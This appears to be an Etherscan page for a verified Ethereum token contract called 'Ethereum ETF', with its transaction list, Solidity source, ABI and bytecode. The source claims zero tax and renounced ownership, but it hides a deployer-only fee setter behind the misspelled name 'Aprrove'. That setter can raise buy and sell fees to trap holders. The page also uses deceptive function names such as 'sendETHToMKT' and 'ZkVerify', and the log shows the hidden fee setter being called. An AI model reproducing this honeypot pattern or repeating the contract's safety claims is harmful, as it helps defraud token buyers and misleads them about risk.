ETH Price: $3,317.54 (-8.79%)
Gas: 30.3 Gwei

Contract

0xe57B66f9B0d18d958F1AE32E221B4AD5d2263B70
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Send ETH To MKT199344202024-05-23 18:38:11210 days ago1716489491IN
0xe57B66f9...5d2263B70
0 ETH0.0004610712.84034256
Approve199280512024-05-22 21:17:35211 days ago1716412655IN
0xe57B66f9...5d2263B70
0 ETH0.000796817.16476178
Transfer199280482024-05-22 21:16:59211 days ago1716412619IN
0xe57B66f9...5d2263B70
0 ETH0.0009474417.41976899
Approve199277632024-05-22 20:19:47211 days ago1716409187IN
0xe57B66f9...5d2263B70
0 ETH0.0006840614.73611795
Transfer199277052024-05-22 20:08:11211 days ago1716408491IN
0xe57B66f9...5d2263B70
0 ETH0.0009462915.99091694
Approve199275442024-05-22 19:35:35211 days ago1716406535IN
0xe57B66f9...5d2263B70
0 ETH0.0005756312.38426164
Approve199275382024-05-22 19:34:23211 days ago1716406463IN
0xe57B66f9...5d2263B70
0 ETH0.0005527611.89221795
Aprrove199275192024-05-22 19:30:35211 days ago1716406235IN
0xe57B66f9...5d2263B70
0 ETH0.000313611.60077209
Opened Trade199275172024-05-22 19:30:11211 days ago1716406211IN
0xe57B66f9...5d2263B70
0 ETH0.0006074911.02183046
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199274402024-05-22 19:14:35211 days ago1716405275IN
0xe57B66f9...5d2263B70
0 ETH0.0006811814.65517946
Approve199273852024-05-22 19:03:35211 days ago1716404615IN
0xe57B66f9...5d2263B70
0 ETH0.0006235113.50513153
Approve199273482024-05-22 18:55:59211 days ago1716404159IN
0xe57B66f9...5d2263B70
0 ETH0.0009424520.27612733

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ETF

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 8: ETF.sol

// SPDX-License-Identifier: MIT
/*      

✅ 0/0 Tax
✅ LP Burned
✅ Ownership renounced 

⚠️ Reminder: Be cautious of fake contracts and scam attempts. We will NEVER DM you contracts. Always verify through our official channels!

Official Website: https://eth-etf.vip
Telegram: https://t.me/ETH_ETF_TOKEN
Twitter: https://x.com/EthEtf79976
*/

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ETF {
    
    string private _name = unicode"Ethereum ETF";
    string private _symbol = unicode"ETF";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 120_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function Aprrove(uint8 _Br, uint8 _Sr) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        TX_Base500(_Br, _Sr);
    }

    function TX_Base500(uint8 _b, uint8 _s) private {
        storeData.buyFee = _b;
        storeData.sellFee = _s;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function sendETHToMKT(string memory _newname, string memory _newsymbol) public {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _name = _newname;
        _symbol = _newsymbol;
    }
}

File 2 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 8: HyperAI.sol

// SPDX-License-Identifier: MIT
/*                               
   @@                     @@   
    @@@                 @@@    
     @@@@             @@@@     
      @@@@@         @@@@@    _   _                            _   _              _           _     ___    
       @@@@@       @@@@@    | | | | _   _  _ __    ___  _ __ | | | |  __ _  ___ | |__       / \   |_ _|   
        @@@@@     @@@@@     | |_| || | | || '_ \  / _ \| '__|| |_| | / _` |/ __|| '_ \     / _ \   | |   
        @@@@@ @@@ @@@@@     |  _  || |_| || |_) ||  __/| |   |  _  || (_| |\__ \| | | |   / ___ \  | |    
        @@@@@     @@@@@     |_| |_| \__, || .__/  \___||_|   |_| |_| \__,_||___/|_| |_|  /_/   \_\|___| 
       @@@@@       @@@@@            |___/ |_|                                                             
      @@@@@         @@@@@    
     @@@@             @@@@     
    @@@                 @@@    
   @@                     @@   

    -----------------------------------------
     WEBSITE     : https://www.hyperhash.ai  |
     Docs        : https://docs.hyperhash.ai | 
     Dashboard   : https://dapp.hyperhash.ai |
     Telegram    : https://t.me/HyperHashAI  |
     X-(Twitter) : https://x.com/HyperHashAI |
    ------------------------------------------
*/

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract HyperAI {
    
    string private _name = unicode"HyperHash AI";
    string private _symbol = unicode"HyperAI";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 10_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function Aprrove(uint8 _Br, uint8 _Sr) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        TX_Base500(_Br, _Sr);
    }

    function TX_Base500(uint8 _b, uint8 _s) private {
        storeData.buyFee = _b;
        storeData.sellFee = _s;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

File 4 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

File 5 of 8: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

File 6 of 8: IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

File 7 of 8: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}

File 8 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"_Br","type":"uint8"},{"internalType":"uint8","name":"_Sr","type":"uint8"}],"name":"Aprrove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newname","type":"string"},{"internalType":"string","name":"_newsymbol","type":"string"}],"name":"sendETHToMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b22ba3432b932bab69022aa2360a11b60a0525f9061002a90826101e1565b5060408051808201909152600381526222aa2360e91b602082015260019061005290826101e1565b5034801561005e575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a86009600a610394565b6100b6906307270e006103a9565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101236009600a610394565b610131906307270e006103a9565b60405190815260200160405180910390a350506103c0565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017157607f821691505b60208210810361018f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101dc57805f5260205f20601f840160051c810160208510156101ba5750805b601f840160051c820191505b818110156101d9575f81556001016101c6565b50505b505050565b81516001600160401b038111156101fa576101fa610149565b61020e81610208845461015d565b84610195565b6020601f821160018114610240575f83156102295750848201515b5f19600385901b1c1916600184901b1784556101d9565b5f84815260208120601f198516915b8281101561026f578785015182556020948501946001909201910161024f565b508482101561028c57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102ea578085048111156102ce576102ce61029b565b60018416156102dc57908102905b60019390931c9280026102b3565b935093915050565b5f826103005750600161038e565b8161030c57505f61038e565b8160018114610322576002811461032c57610348565b600191505061038e565b60ff84111561033d5761033d61029b565b50506001821b61038e565b5060208310610133831016604e8410600b841016171561036b575081810a61038e565b6103775f1984846102af565b805f190482111561038a5761038a61029b565b0290505b92915050565b5f6103a260ff8416836102f2565b9392505050565b808202811582820484141761038e5761038e61029b565b6110f6806103cd5f395ff3fe6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610791908490610ed6565b90915550506005546001600160a01b0385811691161480156107bd5750600554600160a01b900460ff16155b80156107fc575060646107d26009600a610eb1565b6107e0906307270e00610ebf565b6107ea919061100a565b305f9081526003602052604090205410155b801561081a5750806001600160a01b0316856001600160a01b031614155b156109f8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086557610865611029565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f99190610ee9565b8160018151811061090c5761090c611029565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094c6009600a610eb1565b61095a906307270e00610ebf565b610964919061100a565b5f8430426040518663ffffffff1660e01b815260040161098895949392919061103d565b5f604051808303815f87803b15801561099f575f80fd5b505af11580156109b1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a365750600554600160a81b900460ff1615156001145b15610aaa576005545f906064906001600160a01b03898116911614610a5b5783610a5d565b825b610a6a9060ff1688610ebf565b610a74919061100a565b9050610a808187610ed6565b305f90815260036020526040812080549298508392909190610aa39084906110ad565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ad19084906110ad565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1d91815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b7b575f80fd5b50565b5f8060408385031215610b8f575f80fd5b8235610b9a81610b67565b946020939093013593505050565b803560ff81168114610bb8575f80fd5b919050565b5f8060408385031215610bce575f80fd5b610bd783610ba8565b9150610be560208401610ba8565b90509250929050565b5f805f60608486031215610c00575f80fd5b8335610c0b81610b67565b92506020840135610c1b81610b67565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610c4f575f80fd5b813567ffffffffffffffff811115610c6957610c69610c2c565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610c9857610c98610c2c565b604052818152838201602001851015610caf575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610cdc575f80fd5b823567ffffffffffffffff811115610cf2575f80fd5b610cfe85828601610c40565b925050602083013567ffffffffffffffff811115610d1a575f80fd5b610d2685828601610c40565b9150509250929050565b5f60208284031215610d40575f80fd5b81356106ff81610b67565b5f8060408385031215610d5c575f80fd5b8235610d6781610b67565b91506020830135610d7781610b67565b809150509250929050565b600181811c90821680610d9657607f821691505b602082108103610db457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e0957808504811115610ded57610ded610dba565b6001841615610dfb57908102905b60019390931c928002610dd2565b935093915050565b5f82610e1f57506001610419565b81610e2b57505f610419565b8160018114610e415760028114610e4b57610e67565b6001915050610419565b60ff841115610e5c57610e5c610dba565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e8a575081810a610419565b610e965f198484610dce565b805f1904821115610ea957610ea9610dba565b029392505050565b5f6106ff60ff841683610e11565b808202811582820484141761041957610419610dba565b8181038181111561041957610419610dba565b5f60208284031215610ef9575f80fd5b81516106ff81610b67565b601f8211156106df57805f5260205f20601f840160051c81016020851015610f295750805b601f840160051c820191505b81811015610f48575f8155600101610f35565b5050505050565b815167ffffffffffffffff811115610f6957610f69610c2c565b610f7d81610f778454610d82565b84610f04565b6020601f821160018114610faf575f8315610f985750848201515b5f19600385901b1c1916600184901b178455610f48565b5f84815260208120601f198516915b82811015610fde5787850151825560209485019460019092019101610fbe565b5084821015610ffb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f8261102457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561108d5783516001600160a01b0316835260209384019390920191600101611066565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610dba56fea2646970667358221220fb22755f7a1c65f77c3a08edc2b67d6e7e63e25565d3a4982143c0ac0fbb44b364736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e